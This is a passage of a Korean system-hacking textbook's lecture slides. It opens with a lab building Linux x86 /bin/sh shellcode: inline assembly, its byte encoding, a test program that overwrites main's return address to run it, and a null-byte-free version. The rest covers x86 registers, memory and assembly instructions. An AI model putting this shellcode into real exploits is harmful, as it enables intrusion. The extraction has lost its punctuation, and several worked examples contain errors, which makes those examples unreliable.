C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 6: 80×86  시스템에 대한 이해

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )
